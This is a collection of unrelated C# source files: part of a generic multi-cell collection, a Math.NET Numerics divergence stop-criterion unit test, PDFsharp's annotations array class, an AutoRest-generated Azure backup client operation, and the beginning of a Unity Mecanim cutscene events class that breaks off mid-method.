if(relativePos.Key == -1 && relativePos.Value == -1)
return default(T);
else
return backingStore[relativePos.Key][relativePos.Value];
}
set
{
KeyValuePair<int, int> relativePos = TranslateIndex(index);
if(relativePos.Key != -1 && relativePos.Value != -1)
backingStore[relativePos.Key][relativePos.Value] = value;
}
}
public T this[int cellNumber, int index]
{
get
{
return base[cellNumber][index];
}
set
{
base[cellNumber][index] = value;
}
}
public KeyValuePair<int, int> TranslateIndex(int index)
{
//Alright here is what we do... we start at the current
for(int i = 0; i < base.Count; i++)
{
R value = base[i];
if(index < value.Count)
return new KeyValuePair<int, int>(i, index);
else
index = index - value.Count;
}
return new KeyValuePair<int, int>(-1, -1);
}
IEnumerator IEnumerable.GetEnumerator()
{
return GetEnumerator();
}
public new IEnumerator<T> GetEnumerator()
{
return new MultiCellEnumerator(this);
}
public class MultiCellEnumerator : IEnumerator<T>
{
private R[] backingElements;
private int count, bIndex;
private IEnumerator<T> current;
public MultiCellEnumerator(MultiCell<R, T> mc)
{
backingElements = mc.backingStore;
count = mc.CellCount;
bIndex = -1;
}
object IEnumerator.Current { get { return Current; } }
public T Current { get { return current.Current; } }
public bool MoveNext()
{
if(bIndex == -1)
{
bIndex++;
if(bIndex < count)
current = backingElements[bIndex].GetEnumerator();
return current.MoveNext();
}
else
{
bool result = current.MoveNext();
if(result)
return result;
else
{
bIndex++;
bool result2 = bIndex < count;
if(result2)
{
current = backingElements[bIndex].GetEnumerator();
return current.MoveNext();
}
return result2;
}
}
}
public void Reset()
{
bIndex = -1;
}
public void Dispose()
{
if(current != null)
current.Dispose();
backingElements = null;
}
}
}
public class MultiCell<T> : MultiCell<Cell<T>, T>
{
public MultiCell(int numCells, int defaultCellSize) : base((x) => new Cell<T>(x), numCells, defaultCellSize) { }
public MultiCell(int numCells) : base((x) => new Cell<T>(x), numCells, DEFAULT_CAPACITY) { }
public MultiCell() : base((x) => new Cell<T>(x), DEFAULT_CAPACITY) { }
public MultiCell(MultiCell<T> cells) : base(cells) { }
public override object Clone()
{
return new MultiCell<T>(this);
}
}
}
| |
// <copyright file="DivergenceStopCriterionTest.cs" company="Math.NET">
// Math.NET Numerics, part of the Math.NET Project
// http://numerics.mathdotnet.com
// http://github.com/mathnet/mathnet-numerics
//
// Copyright (c) 2009-2016 Math.NET
//
// Permission is hereby granted, free of charge, to any person
// obtaining a copy of this software and associated documentation
// files (the "Software"), to deal in the Software without
// restriction, including without limitation the rights to use,
// copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following
// conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
// OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
// HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
// WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
// OTHER DEALINGS IN THE SOFTWARE.
// </copyright>
using System;
using MathNet.Numerics.LinearAlgebra;
using MathNet.Numerics.LinearAlgebra.Double;
using MathNet.Numerics.LinearAlgebra.Solvers;
using NUnit.Framework;
namespace MathNet.Numerics.UnitTests.LinearAlgebraTests.Double.Solvers.StopCriterion
{
/// <summary>
/// Divergence stop criterion test.
/// </summary>
[TestFixture, Category("LASolver")]
public sealed class DivergenceStopCriterionTest
{
/// <summary>
/// Create with negative maximum increase throws <c>ArgumentOutOfRangeException</c>.
/// </summary>
[Test]
public void CreateWithNegativeMaximumIncreaseThrowsArgumentOutOfRangeException()
{
Assert.That(() => new DivergenceStopCriterion<double>(-0.1), Throws.TypeOf<ArgumentOutOfRangeException>());
}
/// <summary>
/// Create with illegal minimum iterations throws <c>ArgumentOutOfRangeException</c>.
/// </summary>
[Test]
public void CreateWithIllegalMinimumIterationsThrowsArgumentOutOfRangeException()
{
Assert.That(() => new DivergenceStopCriterion<double>(minimumIterations: 2), Throws.TypeOf<ArgumentOutOfRangeException>());
}
/// <summary>
/// Can create stop criterion.
/// </summary>
[Test]
public void Create()
{
var criterion = new DivergenceStopCriterion<double>(0.1, 3);
Assert.IsNotNull(criterion, "There should be a criterion");
Assert.AreEqual(0.1, criterion.MaximumRelativeIncrease, "Incorrect maximum");
Assert.AreEqual(3, criterion.MinimumNumberOfIterations, "Incorrect iteration count");
}
/// <summary>
/// Determine status with illegal iteration number throws <c>ArgumentOutOfRangeException</c>.
/// </summary>
[Test]
public void DetermineStatusWithIllegalIterationNumberThrowsArgumentOutOfRangeException()
{
var criterion = new DivergenceStopCriterion<double>(0.5, 15);
Assert.That(() => criterion.DetermineStatus(
-1,
Vector<double>.Build.Dense(3, 4),
Vector<double>.Build.Dense(3, 5),
Vector<double>.Build.Dense(3, 6)), Throws.TypeOf<ArgumentOutOfRangeException>());
}
/// <summary>
/// Can determine status with too few iterations.
/// </summary>
[Test]
public void DetermineStatusWithTooFewIterations()
{
const double Increase = 0.5;
const int Iterations = 10;
var criterion = new DivergenceStopCriterion<double>(Increase, Iterations);
// Add residuals. We should not diverge because we'll have to few iterations
for (var i = 0; i < Iterations - 1; i++)
{
var status = criterion.DetermineStatus(
i,
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { (i + 1)*(Increase + 0.1) }));
Assert.AreEqual(IterationStatus.Continue, status, "Status check fail.");
}
}
/// <summary>
/// Can determine status with no divergence.
/// </summary>
[Test]
public void DetermineStatusWithNoDivergence()
{
const double Increase = 0.5;
const int Iterations = 10;
var criterion = new DivergenceStopCriterion<double>(Increase, Iterations);
// Add residuals. We should not diverge because we won't have enough increase
for (var i = 0; i < Iterations*2; i++)
{
var status = criterion.DetermineStatus(
i,
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { (i + 1)*(Increase - 0.01) }));
Assert.AreEqual(IterationStatus.Continue, status, "Status check fail.");
}
}
/// <summary>
/// Can determine status with divergence through NaN.
/// </summary>
[Test]
public void DetermineStatusWithDivergenceThroughNaN()
{
const double Increase = 0.5;
const int Iterations = 10;
var criterion = new DivergenceStopCriterion<double>(Increase, Iterations);
// Add residuals. We should not diverge because we'll have to few iterations
for (var i = 0; i < Iterations - 5; i++)
{
var status = criterion.DetermineStatus(
i,
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { (i + 1)*(Increase - 0.01) }));
Assert.AreEqual(IterationStatus.Continue, status, "Status check fail.");
}
// Now make it fail by throwing in a NaN
var status2 = criterion.DetermineStatus(
Iterations,
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { double.NaN }));
Assert.AreEqual(IterationStatus.Diverged, status2, "Status check fail.");
}
/// <summary>
/// Can determine status with divergence.
/// </summary>
[Test]
public void DetermineStatusWithDivergence()
{
const double Increase = 0.5;
const int Iterations = 10;
var criterion = new DivergenceStopCriterion<double>(Increase, Iterations);
// Add residuals. We should not diverge because we'll have one to few iterations
double previous = 1;
for (var i = 0; i < Iterations - 1; i++)
{
previous *= 1 + Increase + 0.01;
var status = criterion.DetermineStatus(
i,
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { previous }));
Assert.AreEqual(IterationStatus.Continue, status, "Status check fail.");
}
// Add the final residual. Now we should have divergence
previous *= 1 + Increase + 0.01;
var status2 = criterion.DetermineStatus(
Iterations - 1,
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { previous }));
Assert.AreEqual(IterationStatus.Diverged, status2, "Status check fail.");
}
/// <summary>
/// Can reset calculation state.
/// </summary>
[Test]
public void ResetCalculationState()
{
const double Increase = 0.5;
const int Iterations = 10;
var criterion = new DivergenceStopCriterion<double>(Increase, Iterations);
// Add residuals. Blow it up instantly
var status = criterion.DetermineStatus(
1,
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { 1.0 }),
Vector<double>.Build.Dense(new[] { double.NaN }));
Assert.AreEqual(IterationStatus.Diverged, status, "Status check fail.");
// Reset the state
criterion.Reset();
Assert.AreEqual(Increase, criterion.MaximumRelativeIncrease, "Incorrect maximum");
Assert.AreEqual(Iterations, criterion.MinimumNumberOfIterations, "Incorrect iteration count");
Assert.AreEqual(IterationStatus.Continue, criterion.Status, "Status check fail.");
}
/// <summary>
/// Can clone stop criterion.
/// </summary>
[Test]
public void Clone()
{
const double Increase = 0.5;
const int Iterations = 10;
var criterion = new DivergenceStopCriterion<double>(Increase, Iterations);
Assert.IsNotNull(criterion, "There should be a criterion");
var clone = criterion.Clone();
Assert.IsInstanceOf(typeof (DivergenceStopCriterion<double>), clone, "Wrong criterion type");
var clonedCriterion = clone as DivergenceStopCriterion<double>;
Assert.IsNotNull(clonedCriterion);
Assert.AreEqual(criterion.MaximumRelativeIncrease, clonedCriterion.MaximumRelativeIncrease, "Incorrect maximum");
Assert.AreEqual(criterion.MinimumNumberOfIterations, clonedCriterion.MinimumNumberOfIterations, "Incorrect iteration count");
}
}
}
| |
#region PDFsharp - A .NET library for processing PDF
//
// Authors:
// Stefan Lange
//
// Copyright (c) 2005-2016 empira Software GmbH, Cologne Area (Germany)
//
// http://www.pdfsharp.com
// http://sourceforge.net/projects/pdfsharp
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
#endregion
using System;
using System.Diagnostics;
using System.Collections;
using System.Text;
using System.IO;
using PdfSharp.Pdf.Advanced;
using PdfSharp.Pdf.IO;
using System.Collections.Generic;
namespace PdfSharp.Pdf.Annotations
{
/// <summary>
/// Represents the annotations array of a page.
/// </summary>
public sealed class PdfAnnotations : PdfArray
{
internal PdfAnnotations(PdfDocument document)
: base(document)
{ }
internal PdfAnnotations(PdfArray array)
: base(array)
{ }
/// <summary>
/// Adds the specified annotation.
/// </summary>
/// <param name="annotation">The annotation.</param>
public void Add(PdfAnnotation annotation)
{
annotation.Document = Owner;
Owner._irefTable.Add(annotation);
Elements.Add(annotation.Reference);
}
/// <summary>
/// Removes an annotation from the document.
/// </summary>
public void Remove(PdfAnnotation annotation)
{
if (annotation.Owner != Owner)
throw new InvalidOperationException("The annotation does not belong to this document.");
Owner.Internals.RemoveObject(annotation);
Elements.Remove(annotation.Reference);
}
/// <summary>
/// Removes all the annotations from the current page.
/// </summary>
public void Clear()
{
for (int idx = Count - 1; idx >= 0; idx--)
Page.Annotations.Remove(_page.Annotations[idx]);
}
//public void Insert(int index, PdfAnnotation annotation)
//{
// annotation.Document = Document;
// annotations.Insert(index, annotation);
//}
/// <summary>
/// Gets the number of annotations in this collection.
/// </summary>
public int Count
{
get { return Elements.Count; }
}
/// <summary>
/// Gets the <see cref="PdfSharp.Pdf.Annotations.PdfAnnotation"/> at the specified index.
/// </summary>
public PdfAnnotation this[int index]
{
get
{
PdfReference iref;
PdfDictionary dict;
PdfItem item = Elements[index];
if ((iref = item as PdfReference) != null)
{
Debug.Assert(iref.Value is PdfDictionary, "Reference to dictionary expected.");
dict = (PdfDictionary)iref.Value;
}
else
{
Debug.Assert(item is PdfDictionary, "Dictionary expected.");
dict = (PdfDictionary)item;
}
PdfAnnotation annotation = dict as PdfAnnotation;
if (annotation == null)
{
annotation = new PdfGenericAnnotation(dict);
if (iref == null)
Elements[index] = annotation;
}
return annotation;
}
}
//public PdfAnnotation this[int index]
//{
// get
// {
// //DMH 6/7/06
// //Broke this out to simplfy debugging
// //Use a generic annotation to access the Meta data
// //Assign this as the parent of the annotation
// PdfReference r = Elements[index] as PdfReference;
// PdfDictionary d = r.Value as PdfDictionary;
// PdfGenericAnnotation a = new PdfGenericAnnotation(d);
// a.Collection = this;
// return a;
// }
//}
/// <summary>
/// Gets the page the annotations belongs to.
/// </summary>
internal PdfPage Page
{
get { return _page; }
set { _page = value; }
}
PdfPage _page;
/// <summary>
/// Fixes the /P element in imported annotation.
/// </summary>
internal static void FixImportedAnnotation(PdfPage page)
{
PdfArray annots = page.Elements.GetArray(PdfPage.Keys.Annots);
if (annots != null)
{
int count = annots.Elements.Count;
for (int idx = 0; idx < count; idx++)
{
PdfDictionary annot = annots.Elements.GetDictionary(idx);
if (annot != null && annot.Elements.ContainsKey("/P"))
annot.Elements["/P"] = page.Reference;
}
}
}
/// <summary>
/// Returns an enumerator that iterates through a collection.
/// </summary>
public override IEnumerator<PdfItem> GetEnumerator()
{
return (IEnumerator<PdfItem>)new AnnotationsIterator(this);
}
// THHO4STLA: AnnotationsIterator: Implementation does not work http://forum.pdfsharp.net/viewtopic.php?p=3285#p3285
// Code using the enumerator like this will crash:
//foreach (var annotation in page.Annotations)
//{
// annotation.GetType();
//}
//!!!new 2015-10-15: use PdfItem instead of PdfAnnotation.
// TODO Should we change this to "public new IEnumerator<PdfAnnotation> GetEnumerator()"?
class AnnotationsIterator : IEnumerator<PdfItem/*PdfAnnotation*/>
{
public AnnotationsIterator(PdfAnnotations annotations)
{
_annotations = annotations;
_index = -1;
}
public PdfItem/*PdfAnnotation*/ Current
{
get { return _annotations[_index]; }
}
object IEnumerator.Current
{
get { return Current; }
}
public bool MoveNext()
{
return ++_index < _annotations.Count;
}
public void Reset()
{
_index = -1;
}
public void Dispose()
{
//throw new NotImplementedException();
}
readonly PdfAnnotations _annotations;
int _index;
}
}
}
| |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for license information.
//
// Code generated by Microsoft (R) AutoRest Code Generator 0.17.0.0
// Changes may cause incorrect behavior and will be lost if the code is
// regenerated.
namespace Microsoft.Azure.Management.RecoveryServices.Backup
{
using System.Linq;
using Microsoft.Rest;
using Microsoft.Rest.Azure;
using Models;
/// <summary>
/// ExportJobsOperationResultsOperations operations.
/// </summary>
internal partial class ExportJobsOperationResultsOperations : Microsoft.Rest.IServiceOperations<RecoveryServicesBackupClient>, IExportJobsOperationResultsOperations
{
/// <summary>
/// Initializes a new instance of the ExportJobsOperationResultsOperations class.
/// </summary>
/// <param name='client'>
/// Reference to the service client.
/// </param>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
internal ExportJobsOperationResultsOperations(RecoveryServicesBackupClient client)
{
if (client == null)
{
throw new System.ArgumentNullException("client");
}
this.Client = client;
}
/// <summary>
/// Gets a reference to the RecoveryServicesBackupClient
/// </summary>
public RecoveryServicesBackupClient Client { get; private set; }
/// <summary>
/// Fetches the result of the operation triggered by the Export Job API.
/// </summary>
/// <param name='vaultName'>
/// The name of the recovery services vault.
/// </param>
/// <param name='resourceGroupName'>
/// The name of the resource group where the recovery services vault is
/// present.
/// </param>
/// <param name='operationId'>
/// OperationID which represents the export job.
/// </param>
/// <param name='customHeaders'>
/// Headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.SerializationException">
/// Thrown when unable to deserialize the response
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
/// <return>
/// A response object containing the response body and response headers.
/// </return>
public async System.Threading.Tasks.Task<Microsoft.Rest.Azure.AzureOperationResponse<OperationResultInfoBaseResource>> GetWithHttpMessagesAsync(string vaultName, string resourceGroupName, string operationId, System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>> customHeaders = null, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken))
{
if (vaultName == null)
{
throw new Microsoft.Rest.ValidationException(Microsoft.Rest.ValidationRules.CannotBeNull, "vaultName");
}
if (resourceGroupName == null)
{
throw new Microsoft.Rest.ValidationException(Microsoft.Rest.ValidationRules.CannotBeNull, "resourceGroupName");
}
if (this.Client.SubscriptionId == null)
{
throw new Microsoft.Rest.ValidationException(Microsoft.Rest.ValidationRules.CannotBeNull, "this.Client.SubscriptionId");
}
if (operationId == null)
{
throw new Microsoft.Rest.ValidationException(Microsoft.Rest.ValidationRules.CannotBeNull, "operationId");
}
string apiVersion = "2016-06-01";
// Tracing
bool _shouldTrace = Microsoft.Rest.ServiceClientTracing.IsEnabled;
string _invocationId = null;
if (_shouldTrace)
{
_invocationId = Microsoft.Rest.ServiceClientTracing.NextInvocationId.ToString();
System.Collections.Generic.Dictionary<string, object> tracingParameters = new System.Collections.Generic.Dictionary<string, object>();
tracingParameters.Add("apiVersion", apiVersion);
tracingParameters.Add("vaultName", vaultName);
tracingParameters.Add("resourceGroupName", resourceGroupName);
tracingParameters.Add("operationId", operationId);
tracingParameters.Add("cancellationToken", cancellationToken);
Microsoft.Rest.ServiceClientTracing.Enter(_invocationId, this, "Get", tracingParameters);
}
// Construct URL
var _baseUrl = this.Client.BaseUri.AbsoluteUri;
var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "Subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.RecoveryServices/vaults/{vaultName}/backupJobs/operationResults/{operationId}").ToString();
_url = _url.Replace("{vaultName}", System.Uri.EscapeDataString(vaultName));
_url = _url.Replace("{resourceGroupName}", System.Uri.EscapeDataString(resourceGroupName));
_url = _url.Replace("{subscriptionId}", System.Uri.EscapeDataString(this.Client.SubscriptionId));
_url = _url.Replace("{operationId}", System.Uri.EscapeDataString(operationId));
System.Collections.Generic.List<string> _queryParameters = new System.Collections.Generic.List<string>();
if (apiVersion != null)
{
_queryParameters.Add(string.Format("api-version={0}", System.Uri.EscapeDataString(apiVersion)));
}
if (_queryParameters.Count > 0)
{
_url += (_url.Contains("?") ? "&" : "?") + string.Join("&", _queryParameters);
}
// Create HTTP transport objects
System.Net.Http.HttpRequestMessage _httpRequest = new System.Net.Http.HttpRequestMessage();
System.Net.Http.HttpResponseMessage _httpResponse = null;
_httpRequest.Method = new System.Net.Http.HttpMethod("GET");
_httpRequest.RequestUri = new System.Uri(_url);
// Set Headers
if (this.Client.GenerateClientRequestId != null && this.Client.GenerateClientRequestId.Value)
{
_httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString());
}
if (this.Client.AcceptLanguage != null)
{
if (_httpRequest.Headers.Contains("accept-language"))
{
_httpRequest.Headers.Remove("accept-language");
}
_httpRequest.Headers.TryAddWithoutValidation("accept-language", this.Client.AcceptLanguage);
}
if (customHeaders != null)
{
foreach(var _header in customHeaders)
{
if (_httpRequest.Headers.Contains(_header.Key))
{
_httpRequest.Headers.Remove(_header.Key);
}
_httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value);
}
}
// Serialize Request
string _requestContent = null;
// Set Credentials
if (this.Client.Credentials != null)
{
cancellationToken.ThrowIfCancellationRequested();
await this.Client.Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false);
}
// Send Request
if (_shouldTrace)
{
Microsoft.Rest.ServiceClientTracing.SendRequest(_invocationId, _httpRequest);
}
cancellationToken.ThrowIfCancellationRequested();
_httpResponse = await this.Client.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false);
if (_shouldTrace)
{
Microsoft.Rest.ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse);
}
System.Net.HttpStatusCode _statusCode = _httpResponse.StatusCode;
cancellationToken.ThrowIfCancellationRequested();
string _responseContent = null;
if ((int)_statusCode != 200 && (int)_statusCode != 202)
{
var ex = new Microsoft.Rest.Azure.CloudException(string.Format("Operation returned an invalid status code '{0}'", _statusCode));
try
{
_responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false);
CloudError _errorBody = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<CloudError>(_responseContent, this.Client.DeserializationSettings);
if (_errorBody != null)
{
ex = new Microsoft.Rest.Azure.CloudException(_errorBody.Message);
ex.Body = _errorBody;
}
}
catch (Newtonsoft.Json.JsonException)
{
// Ignore the exception
}
ex.Request = new Microsoft.Rest.HttpRequestMessageWrapper(_httpRequest, _requestContent);
ex.Response = new Microsoft.Rest.HttpResponseMessageWrapper(_httpResponse, _responseContent);
if (_httpResponse.Headers.Contains("x-ms-request-id"))
{
ex.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault();
}
if (_shouldTrace)
{
Microsoft.Rest.ServiceClientTracing.Error(_invocationId, ex);
}
_httpRequest.Dispose();
if (_httpResponse != null)
{
_httpResponse.Dispose();
}
throw ex;
}
// Create Result
var _result = new Microsoft.Rest.Azure.AzureOperationResponse<OperationResultInfoBaseResource>();
_result.Request = _httpRequest;
_result.Response = _httpResponse;
if (_httpResponse.Headers.Contains("x-ms-request-id"))
{
_result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault();
}
// Deserialize Response
if ((int)_statusCode == 200)
{
_responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false);
try
{
_result.Body = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<OperationResultInfoBaseResource>(_responseContent, this.Client.DeserializationSettings);
}
catch (Newtonsoft.Json.JsonException ex)
{
_httpRequest.Dispose();
if (_httpResponse != null)
{
_httpResponse.Dispose();
}
throw new Microsoft.Rest.SerializationException("Unable to deserialize the response.", _responseContent, ex);
}
}
if (_shouldTrace)
{
Microsoft.Rest.ServiceClientTracing.Exit(_invocationId, _result);
}
return _result;
}
}
}
| |
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Xml;
using System.IO;
using System;
using System.Text;
public class MecanimEvents : GenericEvents
{
#region Functions
public override string GetEventType() { return GenericEventNames.Mecanim; }
#endregion
#region Events
public class MecanimEvent_Base : ICutsceneEventInterface
{
#region Functions
public static ICharacter FindCharacter(string gameObjectName, string eventName)
{
if (string.IsNullOrEmpty(gameObjectName))
{
return null;
}
ICharacter[] chrs = (ICharacter[])GameObject.FindObjectsOfType(typeof(ICharacter));
foreach (ICharacter chr in chrs)
{
if (chr.CharacterName == gameObjectName || chr.gameObject.name == gameObjectName)
{
return chr;
}
}
Debug.LogWarning(string.Format("Couldn't find Character {0} in the scene. Event {1} needs to be looked at", gameObjectName, eventName));
return null;
}
protected string GetObjectName(CutsceneEvent ce, string objectParamName)
{
CutsceneEventParam param = ce.FindParameter(objectParamName);
UnityEngine.Object o = param.objData;
return o != null ? o.name : param.stringData;
}
static public UnityEngine.Object FindObject(string assetPath, Type assetType, string fileExtension)
{
if (string.IsNullOrEmpty(assetPath))
{
return null;
}
UnityEngine.Object retVal = null;
#if UNITY_EDITOR
retVal = UnityEditor.AssetDatabase.LoadAssetAtPath(assetPath, assetType);
if (retVal == null)
{
// try a project search, this is slow but doesn't require a media path
//Debug.Log(string.Format("looking for: ", ));
string dir = string.Format("{0}/{1}", Application.dataPath, assetPath);
if (Directory.Exists(dir) || assetType == typeof(AudioClip))
{
string[] files = VHFile.DirectoryWrapper.GetFiles(string.Format("{0}", Application.dataPath), assetPath + fileExtension, SearchOption.AllDirectories);
if (files.Length > 0)
{
files[0] = files[0].Replace("\\", "/"); // unity doesn't like backslashes in the asset path
files[0] = files[0].Replace(Application.dataPath, "");
files[0] = files[0].Insert(0, "Assets");
retVal = UnityEditor.AssetDatabase.LoadAssetAtPath(files[0], assetType);
}
}
}
// if it's still null, it wasn't found at all
if (retVal == null)
{
Debug.LogError(string.Format("Couldn't load {0} {1}", assetType, assetPath));
}
#endif
return retVal;
}
protected string CleanupAnimationName(string animName)
{
if (string.IsNullOrEmpty(animName))
{
return string.Empty;
}
string output = animName;
int index = animName.IndexOf("@");
if (index != -1)
{
output = animName.Substring(index + 1);
}
output = Path.GetFileNameWithoutExtension(output);
return output;
}
#endregion
}
public class MecanimEvent_PlayAudio : MecanimEvent_Base
{
#region Functions
public void PlayAudio(string character, AudioClip uttID)
{
MecanimManager.Get().SBPlayAudio(character, uttID);
}
public void PlayAudio(string character, AudioClip uttID, string text)
{
MecanimManager.Get().SBPlayAudio(character, uttID, text);
}
public void PlayAudio(string character, string uttID)
{
MecanimManager.Get().SBPlayAudio(character, uttID);
}
public void PlayAudio(string character, string uttID, string text)
{
MecanimManager.Get().SBPlayAudio(character, uttID, text);
}
public override string GetLengthParameterName() { return "uttID"; }
public override bool NeedsToBeFired (CutsceneEvent ce) { return false; }
public override float CalculateEventLength(CutsceneEvent ce)
{
float length = -1;
if ((ce.FunctionOverloadIndex == 0 || ce.FunctionOverloadIndex == 1) && !IsParamNull(ce, 1))
{
length = Cast<AudioClip>(ce, 1).length;
}
return length;
}
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
ce.FindParameter("uttID").stringData = ce.Name = reader["ref"];
/*GameObject go = GameObject.Find(reader["ref"]);
AudioSpeechFile speechFile = go.GetComponent<AudioSpeechFile>();//MecanimManager.Get().GetSpeechFile(reader["ref"]);
if (speechFile != null)
{
ce.FindParameter("uttID").objData = speechFile.m_AudioClip;
}
if (speechFile == null)
{
Debug.LogError("Couldn't find audio clip: " + reader["ref"]);
}*/
ce.FindParameter("uttID").stringData = reader["ref"];
/*if (ce.FindParameter("text") != null)
{
ce.FindParameter("text").stringData = "";// reader.ReadString(); // TODO: Figure out a way to parse this
}*/
}
#endregion
}
public class MecanimEvent_Transform : MecanimEvent_Base
{
#region Functions
public void Transform(string character, float x, float y, float z)
{
MecanimManager.Get().SBTransform(character, x, y, z);
}
public void Transform(string character, string transform)
{
GameObject transformGo = GameObject.Find(transform);
if (transformGo != null)
{
Transform trans = transformGo.transform;
Vector3 euler = trans.eulerAngles;
MecanimManager.Get().SBTransform(character, trans.position.x, trans.position.y, trans.position.z, euler.x, euler.y, euler.z);
}
else
{
Debug.LogError("Couldn't find gameobject named " + transform);
}
}
/*public override object SaveRewindData(CutsceneEvent ce)
{
if (Cast<ICharacter>(ce, 0) != null)
{
return SaveTransformHierarchy(Cast<ICharacter>(ce, 0).transform);
}
else
{
return null;
}
}
public override void LoadRewindData(CutsceneEvent ce, object rData)
{
if (rData != null)
{
Transform rewindData = (Transform)rData;
Transform characterData = null;
ICharacter character = null;
if (IsParamNull(ce, 0))
{
character = FindCharacter(Param(ce, 0).stringData, ce.Name);
characterData = character.transform;
}
else
{
character = Cast<ICharacter>(ce, 0);
characterData = character.transform;
}
characterData.position = rewindData.position;
characterData.rotation = rewindData.rotation;
SmartbodyManager.Get().QueueCharacterToUpload(character);
}
}*/
#endregion
}
public class MecanimEvent_Posture : MecanimEvent_Base
{
#region Functions
public void Posture(string character, AnimationClip motion)
{
MecanimManager.Get().SBPosture(character, character + "@" + motion.name, 0);
}
public void Posture(string character, string motion)
{
MecanimManager.Get().SBPosture(character, motion, 0);
}
public override string GetLengthParameterName() { return "motion"; }
public override float CalculateEventLength(CutsceneEvent ce)
{
float length = -1;
AnimationClip motion = Cast<AnimationClip>(ce, 1);
if (motion != null)
{
length = motion.length;
}
return length;
}
/*public override string GetXMLString(CutsceneEvent ce)
{
StringBuilder builder = new StringBuilder(string.Format(@"<body character=""{0}"" mm:ypos=""{1}"" mm:eventName=""{2}"" mm:overload=""{3}"" start=""{4}"" mm:length=""{5}"" />",
GetObjectName(ce, "character"), ce.GuiPosition.y, ce.Name, ce.FunctionOverloadIndex, ce.StartTime, ce.Length));
if (ce.FunctionOverloadIndex == 0)
{
AppendParam<SmartbodyMotion>(builder, ce, "posture", "motion");
}
else
{
AppendParam<string>(builder, ce, "posture", "motion");
}
//AppendParam<float>(builder, ce, "start", "startTime");
return builder.ToString();
}*/
public override void SetParameters(CutsceneEvent ce, XmlReader reader)
{
ce.StartTime = ParseFloat(reader["start"], ref ce.StartTime);
if (!string.IsNullOrEmpty(reader["mm:eventName"]))
{
ce.Name = reader["mm:eventName"];
}
ce.FindParameter("character").SetObjData(FindCharacter(reader["character"], ce.Name));
ce.FindParameter("motion").stringData = CleanupAnimationName(reader["posture"]);
if (!string.IsNullOrEmpty(reader["mm:length"]))
{
ce.Length = ParseFloat(reader["mm:length"], ref ce.Length);
}
}
#endregion
}
public class MecanimEvent_PlayAnim : MecanimEvent_Base
{
#region Functions
public void PlayAnim(string character, string motion)
{
MecanimManager.Get().SBPlayAnim(character, motion);
}
public void PlayAnim(string character, AnimationClip motion)
{
